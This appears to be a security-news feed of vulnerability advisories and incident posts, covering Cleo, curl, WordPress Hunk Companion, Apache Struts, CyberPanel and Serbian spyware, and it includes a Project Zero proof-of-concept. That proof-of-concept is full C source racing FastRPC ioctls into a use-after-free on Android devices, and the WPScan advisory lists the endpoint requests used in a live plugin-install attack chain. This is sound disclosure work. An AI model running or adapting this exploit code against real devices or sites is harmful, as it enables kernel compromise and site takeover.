Most recent comment.

INCIDENT: Threat Actors Currently Mass-Exploiting Cleo Servers (0-day-ish) 👾 (source reddit)

2024-12-22T02:10:36.094019+00:00

- [INCIDENT: Threat Actors Currently Mass-Exploiting Cleo Servers (0-day-ish) 👾 ](https://www.reddit.com/r/sysadmin/comments/1haqguq/incident_threat_actors_currently_massexploiting/?rdt=59586) https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild On December 3, Huntress identified an emerging threat involving Cleo’s LexiCom, VLTransfer, and Harmony software, commonly used to manage file transfers. We’ve directly observed evidence of threat actors exploiting this software en masse and performing post-exploitation activity. Although Cleo published an update and advisory for CVE-2024-50623—which allows unauthenticated remote code execution—Huntress security researchers have recreated the proof of concept and learned the patch does not mitigate the software flaw. ‍TL;DR - This vulnerability is being actively exploited in the wild and fully patched systems running 5.8.0.21 are still exploitable. We strongly recommend you move any internet-exposed Cleo systems behind a firewall until a new patch is released.

netrc and redirect credential leak

2024-12-22T02:10:36.093889+00:00

When asked to both use a .netrc file for credentials and to follow HTTP redirects, curl could leak the password used for the first host to the followed-to host under certain circumstances. This flaw only manifests itself if the netrc file has an entry that matches the redirect target hostname but the entry either omits just the password or omits both login and password. ### Info > "A curl transfer with a.tld that redirects to b.tld that uses a .netrc like below (with a match, but no password specified for the second host), would make curl pass on alicespassword as password even in the second transfer to the separate host b.tld. > > machine a.tld > login alice > password alicespassword > default > login bob > > This bug is not considered a C mistake. It is not likely to have been avoided had we not been using C. > > This flaw also affects the curl command line tool. > > The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2024-11053 to this issue. > > CWE-200: Exposure of Sensitive Information to an Unauthorized Actor > > Severity: Low"

Unauthorized Plugin Installation/Activation in Hunk Companion | WPScan

2024-12-22T02:10:36.093765+00:00

# Unauthorized Plugin Installation/Activation in Hunk Companion | WPScan Ref: https://wpscan.com/blog/unauthorized-plugin-installation-activation-in-hunk-companion/ This report highlights a vulnerability in the [Hunk Companion plugin](https://wordpress.org/plugins/hunk-companion/) < 1.9.0 that allows unauthenticated POST requests to install and activate plugins directly from the WordPress.org repository. This flaw poses a significant security risk, as it enables attackers to install vulnerable or closed plugins, which can then be exploited for attacks such as Remote Code Execution (RCE), SQL Injection, Cross‑Site Scripting (XSS), or even the creation of administrative backdoors. By leveraging these outdated or unmaintained plugins, attackers can bypass security measures, manipulate database records, execute malicious scripts, and gain unauthorized administrative access to the site. Method of Exploitation ---------------------- While tracing an infection on a WordPress site, we uncovered a live vulnerability currently being exploited in a two‑step process: 1. **Unauthenticated Installation/Activation**: Attackers exploit a flaw to install and activate the now‑closed and vulnerable plugin, [WP Query Console](https://wordpress.org/plugins/wp-query-console/) 2. **Remote Code Execution (RCE)**: The vulnerability in WP Query Console is then exploited to evaluate arbitrary and malicious PHP code. In the infections we’ve analyzed, attackers use the RCE to write a PHP dropper to the site’s root directory. This dropper allows continued unauthenticated uploads via GET requests, enabling persistent backdoor access to the site. Investigation ------------- The vulnerability was uncovered during an investigation into the entry point for an infection caused by its exploitation. Access logs revealed that the `change timestamp` of a randomly named PHP file located in the root of the WordPress installation (`/htdocs/aea74fff3c02.php`) was preceded by requests to the following endpoints: * Time: Nov 27, 2024 @ 08:21:41.812 * request_url: /aea74fff3c02.php * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36 * request_type: GET * Time: Nov 27, 2024 @ 08:21:41.561 * request_url: /?rest_route=/wqc/v1/query * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36 * request_type: POST * Time: Nov 27, 2024 @ 08:21:40.354 * request_url: /wp-json/hc/v1/themehunk-import * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36 * request_type: POST * Time: Nov 27, 2024 @ 08:21:08.151 * request_url: /wp-json/hc/v1/themehunk-import * http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36 * request_type: POST Further investigation revealed that the plugins responsible for these endpoints are **Hunk Companion** and **WP Query Console**, respectively. Each observed infection’s modification times aligned with POST requests to these same endpoints. The Remote Code Execution (RCE) vulnerability in WP Query Console, reported under [CVE‑2024‑50498](https://www.cve.org/CVERecord?id=CVE-2024-50498), remains unpatched. Meanwhile, the unauthenticated plugin installation/activation vulnerability in Hunk Companion was reportedly fixed in version 1.8.5 and greater, as documented in [CVE‑2024‑9707](https://www.cve.org/CVERecord?id=CVE-2024-9707). Upon further review, we confirmed that this infection did, in fact, occur with the latest version of Hunk Companion at that time, 1.8.7, indicating that the vulnerability had persisted in the current version. Code Analysis ------------- An analysis of the code responsible for the `themehunk‑import` endpoint revealed the vulnerability being exploited. Within the file `hunk‑companion/import/core/class‑installation.php`, the class `HUNK_COMPANION_SITES_BUILDER_SETUP` is executed by the endpoint and handles plugin installation and activation. On line 204, the following code demonstrates that the WordPress.org URL is hardcoded, restricting installations to plugins hosted on the WordPress.org repository: ``` $temp_file = download_url('https://downloads.wordpress.org/plugin/'.$slug.'.zip'); ``` However, this URL allows the download of plugins, even if they have been closed or removed from the repository. This behavior introduces a significant vector for exploitation, enabling attackers to install vulnerable plugins. The vulnerability stems from the weakness found in `hunk‑companion/import/app/app.php`: ``` register_rest_route( 'hc/v1', 'themehunk-import', array( 'methods' => 'POST', 'callback' => array( $this, 'tp_install' ), 'permission_callback' => function () { // Check if the user is logged in if ( ! is_user_logged_in() ) { //return new WP_REST_Response( 'Unauthorized: User not logged in', 401 ); } // Debug: Log the user role and capabilities to see what they have $current_user = wp_get_current_user(); // error_log( 'Current user: ' . $current_user->user_login ); // error_log( 'User roles: ' . implode( ', ', $current_user->roles ) ); // error_log( 'User capabilities: ' . print_r( $current_user->allcaps, true ) ); // Ensure the user has the 'install_plugins' capability if ( ! current_user_can( 'install_plugins' ) ) { return new WP_REST_Response( 'Unauthorized: Insufficient capabilities', 401 ); } // Get the nonce from the request header $nonce = $request->get_header('X-WP-Nonce'); // Verify the nonce if ( ! wp_verify_nonce( $nonce, 'hc_import_nonce' ) ) { return new WP_REST_Response( 'Unauthorized: Invalid nonce', 401 ); } return true; // Permission granted }, ) ); ``` Lines 28‑59 register the REST API route for `themehunk‑import`. In version 1.8.5, the plugin author introduced a `permission_callback` to restrict access. However, for [`permission_callback`](https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/#permissions-callback) to work correctly, it must return a boolean (`false` to reject requests, `true` to accept) or a `WP_Error` object. In this case, failed conditions return `new WP_REST_Response`, which is not a boolean or `WP_Error`. As a result, the `permission_callback` always evaluates to `true`, allowing unauthenticated requests to bypass the intended checks. This flaw enables the execution of the `tp_install` function, which invokes the `HUNK_COMPANION_SITES_BUILDER_SETUP` class, leading to the installation and activation of arbitrary plugins. ### Recommended Fix To address this issue, the `themehunk‑import` and `ai‑site‑import` endpoints needed to be patched. Specifically, the return statements for failed conditions needed to be changed. For example, replace: ``` return new WP_REST_Response( 'Unauthorized: User not logged in', 401 ); ``` With: ``` return new WP_Error( 'unauthorized', __( 'You must be logged in.' ), array( 'status' => 401 ) ); ``` This change ensures the `permission_callback` correctly denies unauthorized requests, mitigating the vulnerability. As of 1.9.0, the author implemented the necessary patch, and we have confirmed that the exploit is no longer present. Conclusion ---------- This vulnerability represents a significant and multifaceted threat, targeting sites that use both a [ThemeHunk theme](https://profiles.wordpress.org/themehunk/#content-themes) and the Hunk Companion plugin. With over 10,000 active installations, this exposed thousands of websites to anonymous, unauthenticated attacks capable of severely compromising their integrity. What makes this attack particularly dangerous is its combination of factors—leveraging a previously patched vulnerability in Hunk Companion to install a now‑removed plugin with a known Remote Code Execution flaw. The chain of exploitation underscores the importance of securing every component of a WordPress site, especially third‑party themes and plugins, which can become critical points of entry for attackers. As WordPress remains the most popular content management system in the world, such vulnerabilities serve as a stark reminder of the ongoing challenges in maintaining site security. It’s imperative for developers, site owners, and plugin authors alike to adopt proactive measures, such as regularly updating plugins and themes, auditing for known vulnerabilities, and disabling unused or unnecessary extensions. Timeline -------- **Nov 27th, 2024** – Internal discovery of this vulnerability. We reported issue to Hunk Companion **Dec 10th, 2024** – Hunk Companion confirms acknowledges issue and releases a patch. **Dec 10th, 2024** – We published this advisory. _The PoC will be displayed on January 14, 2025, to give users the time to update._ Credits ------- Original research: Daniel Rodriguez **Acknowledgments**: Special thanks to the WPScan team and Ashley Robicheau for feedback, help, and corrections.

CVE-2024-11053 is not a critical security flaw

2024-12-22T02:10:36.093641+00:00

Clarification by the author/maintainer of the project: [https://mastodon.social/@bagder/113657205050547339](https://mastodon.social/@bagder/113657205050547339) ~~~ FYI: CVE-2024-11053 is *not* a critical security flaw, even if now several security related sites repeat that statement. This is as good as any reminder that you should read the #curl advisories for #curl issues rather than trusting the scaremongers. ~~~ [https://curl.se/docs/CVE-2024-11053.html](https://curl.se/docs/CVE-2024-11053.html)

Bugzilla record for this vulnerability

2024-12-22T02:10:36.093505+00:00

- [Bug 2331686 (CVE-2024-53677) - CVE-2024-53677 struts: org.apache.struts: mixing setters for uploaded files and normal fields can allow bypass file upload checks ](https://bugzilla.redhat.com/show_bug.cgi?id=2331686) An interesting note: **Note: application not using FileUploadInterceptor are safe.**

PoC and details for CyberPanel

2024-12-22T02:10:36.093345+00:00

- [ CyberPanel authenticated RCE < 2.3.8 ](https://github.com/ThottySploity/CVE-2024-53376)

Serbia: Authorities using spyware and Cellebrite forensic extraction tools to hack journalists and activists

2024-12-22T02:10:36.093130+00:00

> "Serbian police and intelligence authorities are using advanced phone spyware alongside mobile phone forensic products to unlawfully target journalists, environmental activists and other individuals in a covert surveillance campaign, a new Amnesty International report has revealed. " More information here: https://securitylab.amnesty.org/latest/2024/12/serbia-a-digital-prison-spyware-and-cellebrite-used-on-journalists-and-activists/

Some questions about CVE-2017-7407 and Bagder's work quality (@bagder@mastodon.social) 🙃

2024-12-22T02:10:36.090115+00:00

It seems that Bagder loves when someone dives deep into history and believes they have found a mistake in his work.

FASTRPC_ATTR_KEEP_MAP logic bug allows fastrpc_internal_munmap_fd to concurrently free in-use mappings leading to UAF

2024-12-22T02:10:36.089885+00:00

Ref: [https://project-zero.issues.chromium.org/issues/42451725](https://project-zero.issues.chromium.org/issues/42451725) ~~~ #include "adsprpc_shared.h" #include #include #include #include #include #include #include #include #include #include #define FASTRPC_MODE_UNSIGNED_MODULE 8 #define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1) #define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2) #define FASTRPC_STATIC_HANDLE_LISTENER (3) #define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4) int dma_heap; int adsprpc_fd; int create_and_init_adsprpc() { int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY); if(adsprpc_fd == -1) { printf("open: %m\n"); return -1; } unsigned cid = 3; long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid); int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY); if(shell_fd == -1) { printf("open shell: %m\n"); return -1; } dma_heap = open("/dev/dma_heap/system",O_RDONLY); if(dma_heap == -1) { printf("open dma_heap: %m\n"); return -1; } struct dma_heap_allocation_data heap_data = { .len = 0x131000, .fd_flags = O_RDWR, }; ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data); if( ret < 0 || heap_data.fd < 0) { printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd); return -1; } void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0); long length = read(shell_fd,shell_file_dma,0x131000); if(length <= 0) { printf("read: %d %m\n",ret); return -1; } close(shell_fd); struct fastrpc_ioctl_init_attrs init = { .init = { .file = shell_file_dma, .filefd = heap_data.fd, .filelen = length, .mem = 0, .flags = FASTRPC_INIT_CREATE, }, .attrs = FASTRPC_MODE_UNSIGNED_MODULE }; ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init); if(ret < 0) { printf("init_attrs: %d %m\n",ret); return -1; } return adsprpc_fd; } pthread_barrier_t* barrier; pthread_t tid_inv,tid_int; unsigned long* value_loc; struct dma_heap_allocation_data heap_data = { .len = 0x10000, .fd_flags = O_RDWR, }; void handler(int signo, siginfo_t *info, void* context) { return; } sig_atomic_t jobid = 0; long submit_job() { unsigned value = 255; unsigned out_values[256] = {0}; struct fastrpc_ioctl_invoke_async ioctl_arg; remote_arg_t ra[2]; ra[0].buf.pv = (void *)&value; ra[0].buf.len = sizeof(value); ra[1].buf.pv = (void *)(&out_values[1]); ra[1].buf.len = value * sizeof(uint32_t); ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS; ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1); ioctl_arg.inv.pra = ra; ioctl_arg.fds = NULL; ioctl_arg.attrs = NULL; ioctl_arg.crc = NULL; ioctl_arg.perf_kernel = NULL; ioctl_arg.perf_dsp = NULL; ioctl_arg.job = NULL; ioctl_arg.job = malloc(sizeof(*ioctl_arg.job)); ioctl_arg.job->isasyncjob = 1; ioctl_arg.job->jobid = jobid++; struct fastrpc_ioctl_invoke2 inv; inv.invparam = &ioctl_arg; inv.req = FASTRPC_INVOKE2_ASYNC; inv.size = sizeof(struct fastrpc_ioctl_invoke_async); long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv); printf("submit job ret: %lx %m\n",ret); return ret; } void* thread_inv(void* arg) { while(1) { //Need to replace value with & new map on other thread unsigned value = 255; unsigned out_values[256] = {0}; long ret; //Not using submit_job() to increase race precision struct fastrpc_ioctl_invoke_async ioctl_arg; remote_arg_t ra[2]; ra[0].buf.pv = (void *)0; ra[0].buf.len = sizeof(value); ra[1].buf.pv = (void *)(&out_values[1]); ra[1].buf.len = value * sizeof(uint32_t); ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS; ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1); ioctl_arg.inv.pra = ra; ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int)); ioctl_arg.fds[0] = heap_data.fd; ioctl_arg.fds[1] = -1; ioctl_arg.attrs = NULL; ioctl_arg.crc = NULL; ioctl_arg.perf_kernel = NULL; ioctl_arg.perf_dsp = NULL; ioctl_arg.job = malloc(sizeof(*ioctl_arg.job)); ioctl_arg.job->isasyncjob = 1; ioctl_arg.job->jobid = jobid++; struct fastrpc_ioctl_invoke2 inv; inv.invparam = &ioctl_arg; inv.req = FASTRPC_INVOKE2_ASYNC; inv.size = sizeof(struct fastrpc_ioctl_invoke_async); close(heap_data.fd); pthread_barrier_wait(barrier); ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv); printf("job submit: %ld %m\n",ret); fflush(stdout); if(!ret) { *((unsigned*) &barrier[1]) = 1; pthread_barrier_wait(barrier); exit(0); } pthread_barrier_wait(barrier); } return NULL; } int main() { adsprpc_fd = create_and_init_adsprpc(); if(adsprpc_fd == -1) { printf("failed to open adsprpc...\n"); return 1; } barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0); pthread_barrierattr_t attr; pthread_barrierattr_init(&attr); pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED); pthread_barrier_init(barrier,&attr,2); //pthread_create(&tid_int,NULL,&thread_interrupt,NULL); int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data); if( ret < 0 || heap_data.fd < 0) { printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd); return -1; } // for(unsigned i = 0; i < 1022; i++) { // if(submit_job() < 0) { // printf("failed to submit a job at i = %u\n",i); // exit(0); // } // } printf("mapping...\n"); fflush(stdout); value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0); pid_t pid; if(!(pid = fork())) { thread_inv(NULL); exit(0); } // pthread_create(&tid_inv,NULL,&thread_inv,NULL); unsigned long spoof_map = 0x2000; uint64_t vaddrouts[1024]; unsigned top = 0; do { struct fastrpc_ioctl_mem_map mmap_struct = { .m = { .flags = 0, .fd = heap_data.fd, .length = 0x2000, .attrs = 0, .vaddrin = spoof_map, .vaddrout = 0, .offset = 0, } }; spoof_map += 0x2000; unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct); printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout); vaddrouts[top] = mmap_struct.m.vaddrout; } while (vaddrouts[top++]); // struct fastrpc_ioctl_mem_map mmap_struct = { // .m = { // .flags = 0, // .fd = heap_data.fd, // .length = 0x1000, // .attrs = 0, // .vaddrin = value_loc, // .offset = 0, // } // }; // //pthread_barrier_wait(&barrier); // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct); // printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout); // struct fastrpc_ioctl_mem_unmap unmap_struct = { // .um = { // .fd = heap_data.fd, // .length = 0x1000, // .vaddr = mmap_struct.m.vaddrout // } // }; // ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct); // printf("mem_unmap1: %lx\n",ioret); unsigned first = true; while(1) { struct fastrpc_ioctl_mem_map mmap_struct = { .m = { .flags = FASTRPC_MAP_FD_NOMAP, .fd = heap_data.fd, .length = 0x1000, .attrs = FASTRPC_ATTR_KEEP_MAP, .vaddrin = value_loc, .offset = -1, } }; pthread_barrier_wait(barrier); unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct); printf("mem_map2: %lx\n",ret); fflush(stdout); struct fastrpc_ioctl_munmap_fd final_munmap = { .fd = heap_data.fd, .flags = 0, .len = 0x1000, .va = 0 }; unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap); printf("munmap fd: %lx %m\n",final_ret); pthread_barrier_wait(barrier); if(*(unsigned*)&barrier[1]) { break; } if(first && fgetc(stdin) == 'n') { kill(pid,SIGKILL); exit(0); } first = false; } // pthread_join(tid_int,NULL); // pthread_join(tid_inv,NULL); // for(unsigned i = 0; i < top; i++) // { // struct fastrpc_ioctl_mem_unmap unmap_struct = { // .um = { // .fd = heap_data.fd, // .length = 0x2000, // .vaddr = vaddrouts[i], // } // }; // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct); // if(ioret) // printf("unexpected unmap fail %lx %m\n",ioret); // } // while(1) sleep(1); return 0; // struct fastrpc_ioctl_mmap mmap_struct2 = { // .fd = -1, // .flags = ADSP_MMAP_HEAP_ADDR, // .vaddrin = 0, // .size = 0x1000 // }; // ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2); // if(ret < 0) // { // printf("ret mmap: %lx %m\n",ret); // } // printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout); } ~~~

CVE-2023-50164 - Rapid7 analysis

2024-12-22T02:10:36.085898+00:00

Reference - [https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis](https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis) [Apache Struts](https://struts.apache.org/) is a popular Java web application framework. On December 7, 2023 Apache [published an advisory](https://www.openwall.com/lists/oss-security/2023/12/07/1) for [CVE-2023-50164](https://nvd.nist.gov/vuln/detail/CVE-2023-50164), a Struts parameter pollution vulnerability that potentially leads to arbitrary file uploads. An attacker with the ability to perform arbitrary file uploads is very likely to be able to leverage this and achieve remote code execution. According [to the vendor](https://cwiki.apache.org/confluence/display/WW/S2-066), the following versions of Struts are affected: * Struts 2.0.0 – Struts 2.3.37 (End of Life) * Struts 2.5.0 – Struts 2.5.32 * Struts 6.0.0 – Struts 6.3.0 Several technical analyses on the root cause of the vulnerability have already been done ([here](https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-$-S2-066-CVE-2023-50164$), [here](https://xz.aliyun.com/t/13172), and [here](https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE)). Notably, all current public analysis of the vulnerability demonstrates exploitation on a custom made demo web application. **There are currently no known production web applications that are exploitable**, although this is likely to change as the vulnerability comes under more scrutiny from researchers, and given the popularity of the Struts framework in enterprise web applications. Several security firms have reported exploitation ([here](https://twitter.com/akamai_research/status/1735049812746137929) and [here](https://twitter.com/shadowserver/status/1734919288257974380)), but as of December 15, 2023, it is unclear if the activity being reported actually refers to successful exploitation (i.e., code execution) against one or more known vulnerable targets, or if this is merely highlighting exploit attempts with the existing public PoCs (all of which target a demo application) being sprayed opportunistically at indiscriminate targets. However, exploitation of this vulnerability will be target-specific based on the differing target action’s endpoints, the naming convention of the expected uploaded file name, and any other target-specific restrictions that may need to be overcome. # Remediation Vendors who develop applications that use Apache Struts should upgrade to Struts 2.5.33, Struts 6.3.0.2, or greater to remediate CVE-2023-50164.